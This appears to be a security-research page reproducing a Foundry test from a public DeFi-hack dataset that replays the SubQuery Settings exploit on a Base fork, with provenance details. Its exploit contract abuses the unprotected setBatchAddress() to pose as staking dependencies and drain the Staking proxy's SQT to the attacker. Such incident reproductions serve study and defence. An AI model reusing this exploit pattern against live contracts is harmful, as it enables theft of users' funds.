Public reproduction file
src/test/2026-04/SubQuerySettings_exp.sol
Public reproduction file for dataset entry SubQuerySettings.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 218.07M SQT8// Attacker : 0x910175f3fee798ADD5faBD3e9cbB63D0a785482C9// Attack Contract : 0xF5D3C18416f364342d8AaD69AFC13e490d05a7af10// Vulnerable Contract : 0xf282737992Da4217bf5f8B6AE621181e84d7d3b911// Victim : 0x7A68b10EB116a8b71A9b6f77B32B47EB591B6Ded12// Attack Tx : https://basescan.org/tx/0xd063b3848a6b8c67f46990ab166665d454147855819acb60c083c0aea0180b2d14// @Info15// Vulnerable Contract Code : https://basescan.org/address/0xf282737992Da4217bf5f8B6AE621181e84d7d3b9#code17// @Analysis18// Telegram : https://t.me/defimon_alerts/290919//20// The attacker used the unprotected Settings.setBatchAddress() function to make the attack helper the21// StakingManager and RewardsDistributor. Staking then accepted the helper's unbondCommission() and22// withdrawARequest() calls and transferred the Staking proxy's SQT balance to the helper, which forwarded it.24address constant ATTACKER = 0x910175f3fee798ADD5faBD3e9cbB63D0a785482C;25address constant SETTINGS_PROXY = 0x1d1e8C85A2C99575fCb95903C9aD9Ae2aDEA54fc;26address constant STAKING_PROXY = 0x7A68b10EB116a8b71A9b6f77B32B47EB591B6Ded;27address constant SQT = 0x858c50C3AF1913b0E849aFDB74617388a1a5340d;29uint256 constant PER_MILL = 1e6;31enum SQContracts {32 SQToken,33 Staking,34 StakingManager,35 IndexerRegistry,36 ProjectRegistry,37 EraManager,38 PlanManager,39 ServiceAgreementRegistry,40 RewardsDistributor,41 RewardsPool,42 RewardsStaking,43 RewardsHelper,44 InflationController,45 Vesting,46 DisputeManager,47 StateChannel,48 ConsumerRegistry,49 PriceOracle,50 Treasury,51 RewardsBooster,52 StakingAllocation53}55interface ISubQuerySettings {56 function setBatchAddress(57 SQContracts[] calldata sq,58 address[] calldata newAddresses59 ) external;60 function getContractAddress(61 SQContracts sq62 ) external view returns (address);63}65interface ISubQueryStaking {66 function unbondCommission(67 address runner,68 uint256 amount69 ) external;70 function withdrawARequest(71 address source,72 uint256 index73 ) external;74 function unbondFeeRate() external view returns (uint256);75}77contract ContractTest is BaseTestWithBalanceLog {78 ISubQuerySettings private constant settings = ISubQuerySettings(SETTINGS_PROXY);79 ISubQueryStaking private constant staking = ISubQueryStaking(STAKING_PROXY);80 IERC20 private constant sqt = IERC20(SQT);82 function setUp() public {83 uint256 forkBlock = 44_590_468;84 vm.createSelectFork("base", forkBlock);85 fundingToken = SQT;86 attacker = ATTACKER;88 vm.label(ATTACKER, "Attacker EOA");89 vm.label(SETTINGS_PROXY, "SubQuery Settings proxy");90 vm.label(STAKING_PROXY, "SubQuery Staking proxy");91 vm.label(SQT, "SQT");92 }94 function testExploit() public balanceLog {95 address originalStakingManager = settings.getContractAddress(SQContracts.StakingManager);96 address originalRewardsDistributor = settings.getContractAddress(SQContracts.RewardsDistributor);97 uint256 stakingSqtBefore = sqt.balanceOf(STAKING_PROXY);98 uint256 attackerSqtBefore = sqt.balanceOf(ATTACKER);100 SubQuerySettingsExploit exploit = new SubQuerySettingsExploit(ATTACKER);102 vm.prank(ATTACKER);103 exploit.attack();105 uint256 attackerProfit = sqt.balanceOf(ATTACKER) - attackerSqtBefore;106 uint256 expectedFee = (stakingSqtBefore * staking.unbondFeeRate()) / PER_MILL;108 assertEq(settings.getContractAddress(SQContracts.StakingManager), originalStakingManager, "manager restored");109 assertEq(110 settings.getContractAddress(SQContracts.RewardsDistributor),111 originalRewardsDistributor,112 "rewards distributor restored"113 );114 assertEq(sqt.balanceOf(STAKING_PROXY), 0, "staking SQT drained");115 assertEq(attackerProfit, stakingSqtBefore - expectedFee, "profit equals drained balance less fee");116 assertGt(attackerProfit, 218_000_000 ether, "SQT profit");117 }118}120contract SubQuerySettingsExploit {121 ISubQuerySettings private constant settings = ISubQuerySettings(SETTINGS_PROXY);122 ISubQueryStaking private constant staking = ISubQueryStaking(STAKING_PROXY);123 IERC20 private constant sqt = IERC20(SQT);125 address private immutable profitReceiver;127 constructor(128 address profitReceiver_129 ) {130 profitReceiver = profitReceiver_;131 }133 function attack() external {134 require(msg.sender == profitReceiver, "only receiver");136 uint256 drainAmount = sqt.balanceOf(STAKING_PROXY);137 address originalStakingManager = settings.getContractAddress(SQContracts.StakingManager);138 address originalRewardsDistributor = settings.getContractAddress(SQContracts.RewardsDistributor);140 SQContracts[] memory ids = new SQContracts[](2);141 ids[0] = SQContracts.StakingManager;142 ids[1] = SQContracts.RewardsDistributor;144 address[] memory attackerContracts = new address[](2);145 attackerContracts[0] = address(this);146 attackerContracts[1] = address(this);148 // step 1: become both dependency contracts used by Staking access checks.149 settings.setBatchAddress(ids, attackerContracts);151 // step 2: as RewardsDistributor, create an unbond request for the full SQT balance held by Staking.152 staking.unbondCommission(address(this), drainAmount);154 // step 3: as StakingManager, withdraw that request immediately and receive the available SQT.155 staking.withdrawARequest(address(this), 0);157 address[] memory originalContracts = new address[](2);158 originalContracts[0] = originalStakingManager;159 originalContracts[1] = originalRewardsDistributor;161 // step 4: restore Settings entries, matching the trace cleanup.162 settings.setBatchAddress(ids, originalContracts);164 // step 5: forward the drained SQT to the attacker EOA.165 sqt.transfer(profitReceiver, sqt.balanceOf(address(this)));166 }167}Analysis
Dataset entry
Public Foundry test for “SubQuerySettings” (2026-04-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-04/AaveRebalancerCreditDelegation_exp.solSame month in the dataset · 126 lines
- src/test/2026-04/giddyvaultv3_compound_auth_exp.solSame month in the dataset · 283 lines
- src/test/2026-04/JUDAO_exp.solSame month in the dataset · 164 lines
- src/test/2026-04/JuiceboxREVLoans_exp.solSame month in the dataset · 231 lines
- src/test/2026-04/KipseliPropAMM_exp.solSame month in the dataset · 128 lines
- src/test/2026-04/MONA_LisaVault_exp.solSame month in the dataset · 247 lines
- src/test/2026-04/PerpPair_exp.solSame month in the dataset · 249 lines
- src/test/2026-04/RWAVault_exp.solSame month in the dataset · 133 lines
- src/test/2026-04/SaturnProtocol_exp.solSame month in the dataset · 211 lines
- src/test/2026-04/SingularityDynaVault_exp.solSame month in the dataset · 180 lines
- src/test/2026-04/SquidMulticallAllowanceDrain_exp.solSame month in the dataset · 99 lines
- src/test/2026-04/ThetanutsVaultShareRounding_exp.solSame month in the dataset · 105 lines
- src/test/2026-04/unverified_a152_exp.solSame month in the dataset · 184 lines
- src/test/2026-04/XLootStaking_exp.solSame month in the dataset · 197 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x910175f3fee798add5fabd3e9cbb63d0a785482c
- Attack Contract
0xf5d3c18416f364342d8aad69afc13e490d05a7af
- Vulnerable Contract
0xf282737992da4217bf5f8b6ae621181e84d7d3b9
- Victim
0x7a68b10eb116a8b71a9b6f77b32b47eb591b6ded
- Attack Tx
0xd063b3848a6b8c67f46990ab166665d454147855819acb60c083c0aea0180b2d
File record
- Name
- SubQuerySettings
- Path
- src/test/2026-04/SubQuerySettings_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 9eda1565c4167b09e711175bd6cfc878581daa4c
- Language
- Solidity
- Size
- 168 lines
- Date
- 2026-04-12
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-04/SubQuerySettings_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9eda1565c4167b09e711175bd6cfc878581daa4c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.